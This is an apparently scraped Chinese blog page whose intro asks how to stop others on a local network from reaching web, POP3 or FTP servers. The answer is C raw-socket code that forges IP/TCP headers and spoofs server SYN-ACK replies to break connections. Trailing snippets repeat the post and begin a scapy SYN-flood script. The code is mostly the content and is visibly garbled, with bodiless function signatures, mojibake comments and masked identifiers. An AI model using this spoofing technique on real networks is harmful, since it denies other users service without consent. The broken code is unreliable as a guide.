大家是否想過在區域網內如何禁止別人訪問web server,pop3,ftp等。那麼如何禁止呢?大家都知道tcp是面向連線的,連線時有三次握手,之後才能確認連線成功。那麼我們就應該能在第一次握手之後偽造乙個服務方的握手返回,從而達到tcp連線不成功,無法訪問某埠。程式如下:
void decodeip(buf,ibufsize) //解析偵聽到的ip資料報
void sendtcp_synack(char * szsrcip, char * szdestip,unsigned short srcport,unsigned short destport,unsigned int iack)
//---end-
//偽裝連線
unsigned short itotalsize=44;
unsigned short itcpsize=24;
char *sendbuf=new char[itotalsize];
ip_header.h_lenver=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位版本號,低四位首部長度
ip_header.total_len=htons(itotalsize); //16位總長度
ip_header.tos=0;
ip_header.ident=htons(17393); //16??±êê?
ip_header.frag_and_flags=0; //3??±ê????,13??offset
ip_header.ttl=57; //8??éú′?ê±??ttl
ip_header.proto=ipproto_tcp; //8??d-òé(tcp,udp?-)
ip_header.checksum=0; //16位校驗和
ip_header.sourceip=i***_addr(szsrcip); //32位遠位址·
ip_header.destip=i***_addr(szdestip); //32位目的位址·
ip_header.checksum=checksum((ushort *)&ip_header,20);
//填充tcp首部
tcp_header.th_sport=htons(srcport); //源埠
tcp_header.th_dport=htons(destport); //目的埠
tcp_header.th_seq=htonl(0x581a784d); //syn序列號
tcp_header.th_ack=htonl(iack+1); //應答序號
tcp_header.th_lenres=(itcpsize/sizeof(unsigned long)<<4|0); //tcp長度和保留位
tcp_header.th_flag=0x12; //syn 標誌
tcp_header.th_win=htons(65535); //視窗大小
tcp_header.th_urp=0; //緊急指標
tcp_header.th_sum=0; //校驗和
//填充tcp偽首部(只用於生成校驗和)
psd_header.saddr=ip_header.sourceip;
psd_header.daddr=ip_header.destip;
psd_header.mbz=0;
psd_header.ptcl=ipproto_tcp;
psd_header.tcpl=htons(itcpsize);
zeromemory(sendbuf,itotalsize);
//計算tcp校驗和,包含偽tcp header
memcpy(sendbuf,&psd_header,sizeof(psd_header));
ptr=sendbuf+sizeof(psd_header);
memcpy(ptr,&tcp_header,sizeof(tcp_header));
ptr=sendbuf+sizeof(psd_header)+sizeof(tcp_header);
*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;
tcp_header.th_sum=checksum((ushort *)sendbuf,sizeof(psd_header)+24);
zeromemory(sendbuf,itotalsize);
//填充傳送緩衝區
memcpy(sendbuf,&ip_header,sizeof(ip_header));
ptr=sendbuf+sizeof(ip_header);
memcpy(ptr,&tcp_header,sizeof(tcp_header));
ptr=sendbuf+sizeof(ip_header)+sizeof(tcp_header);
*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;
remote.sin_family = af_i***;
remote.sin_port = htons(destport);
remote.sin_addr.s_addr = i***_addr(szdestip);
ierrorcode = sendto(s, sendbuf, itotalsize, 0, (sockaddr *)&remote, sizeof(remote));
checksockerror(ierrorcode, "synack sendto");
//偽裝關閉連線
itotalsize=40;
itcpsize=20;
// end--------
closesocket(s);
delete sendbuf;
return true;
}
偽造IP包,禁止TCP連線
大家是否想過在區域網內如何禁止別人訪問web server,pop3,ftp等。那麼如何禁止呢?大家都知道tcp是面向連線的,連線時有三次握手,之後才能確認連線成功。那麼我們就應該能在第一次握手之後偽造乙個服務方的握手返回,從而達到tcp連線不成功,無法訪問某埠。程式如下 void decodeip...
偽造TCP連線
usr bin python coding utf 8 import optparse from scapy.all import def synflood src,tgt tcp源埠不斷自增一,而目標埠513不變 for sport in range 1024,65535 iplayer ip s...
mac包,ip包,tcp包 格式說明
圖 三 乙太網路的 mac 訊框 在這個 mac 當中,最重要的就是那個 6 bytes 的目的與來源位址了!事實上,在所有的乙太網路卡當中都有乙個獨一無二的網路卡卡號,那就是上頭的 目的與來源位址 這個位址是硬體位址 hardware address 共有 6 bytes 分別由 00 00 00...